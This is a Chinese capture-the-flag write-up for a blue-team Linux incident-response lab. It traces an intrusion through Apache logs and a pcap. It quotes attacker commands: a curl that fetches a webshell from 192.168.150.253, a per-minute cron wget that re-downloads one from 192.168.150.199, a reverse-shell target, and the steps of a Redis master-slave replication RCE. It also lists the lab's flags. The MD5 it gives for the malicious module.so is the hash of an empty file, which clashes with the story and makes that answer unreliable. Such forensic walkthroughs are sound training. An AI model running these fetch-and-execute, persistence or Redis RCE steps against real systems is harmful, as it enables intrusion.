玄机靶场-第九章 blueteam 的小心思 3 WP这道题是一个比较经典的 Linux 应急响应场景考察的是 Apache 日志分析、流量包溯源、Redis 主从复制 RCE 以及 Cron 权限维持排查。题目一共 5 个步骤难度中等下面是完整的解题过程和思路复盘。1. 找到恶意木马的下载来源上来先登录靶机账号 root密码 root123看看现场情况。第一步要找的是攻击者下载木马时用的那个外部 IP。直接去翻 Apache 的访问日志路径在/var/log/apache2/里面有几个.gz的压缩包先 gunzip 解压然后 grep 一下带.php的记录。很快就能在日志末尾发现一条很明显的命令执行记录192.168.150.1 - - [21/Dec/2023:07:39:58 0100] GET /secret/evil.php?commandsystem(curl http://192.168.150.253:8080/shell.php -o /var/www/html/secret/.shell.php); HTTP/1.1 200 203这条日志说明攻击者是通过/secret/evil.php里的命令执行漏洞用 curl 从192.168.150.253:8080把木马拉下来的写到了 Web 目录里还改成了隐藏文件.shell.php。Flag 1flag{192.168.150.253}2. 提取 WebShell 的连接密码把根目录下的/result.pcap下载到本地用 Wireshark 打开。已经知道木马文件名是.shell.php直接过滤 HTTP 流量找跟这个文件相关的 POST 请求。追踪 TCP 流之后能看到攻击者跟 WebShell 的交互内容POST Body 里传命令用的参数名就是连接密码。也可以直接在靶机上 cat 一下木马源码密码写在里面一眼就看到了cmd。Flag 2flag{cmd}3. 定位反弹 Shell 的目标地址攻击者连上 WebShell 之后下一步肯定是反弹个稳定的 Shell 出去。继续在 Wireshark 里翻 HTTP 流量把攻击者发的 Payload 一条条解码看。在其中一条请求里发现了反弹 Shell 的指令目标地址写得很清楚IP 是192.168.150.199端口是4444。Flag 3flag{192.168.150.199:4444}4. 找到 Redis 主从复制攻击留下的恶意 .so 文件这一步要找的是攻击者通过 Redis 主从复制 RCE 上传的恶意动态库文件的 MD5。在 Wireshark 里过滤 TCP 流量搜索关键字SLAVEOF能看到完整的 Redis 主从复制攻击过程攻击者先把目标 Redis 设成自己控制的恶意 Redis 的从节点然后通过CONFIG SET dbfilename module.so把恶意.so文件写到磁盘最后MODULE LOAD加载执行。回到靶机在根目录/下确实有一个module.so直接算 MD5md5sum /module.so# d41d8cd98f00b204e9800998ecf8427e /module.soFlag 4flag{d41d8cd98f00b204e9800998ecf8427e}5. 排查权限维持的 Cron 计划任务最后一步找攻击者留下的持久化后门。在流量包里搜crontab或者wget追踪对应的 TCP 流发现攻击者写入了一条计划任务*/1 * * * * /usr/bin/wget http://192.168.150.199:88/shell.php -O /var/www/html/secret/.shell.php每分钟从远端拉一次 WebShell 覆盖本地这样就算管理员删了木马一分钟后又回来了。这个地址就是权限维持用的外部请求地址。Flag 5flag{http://192.168.150.199:88/shell.php}总结整条攻击链路很清晰攻击者利用evil.php命令执行漏洞下载初始 WebShell → 通过 WebShell 连接并反弹 Shell192.168.150.199:4444→ 利用 Redis 主从复制 RCE 上传恶意.so模块实现更深层控制 → 写入 Cron 计划任务每分钟重新拉取 WebShell 维持权限。Flag 汇总木马下载源 IPflag{192.168.150.253}WebShell 连接密码flag{cmd}反弹 Shell 地址flag{192.168.150.199:4444}恶意 .so 文件 MD5flag{d41d8cd98f00b204e9800998ecf8427e}权限维持地址flag{http://192.168.150.199:88/shell.php}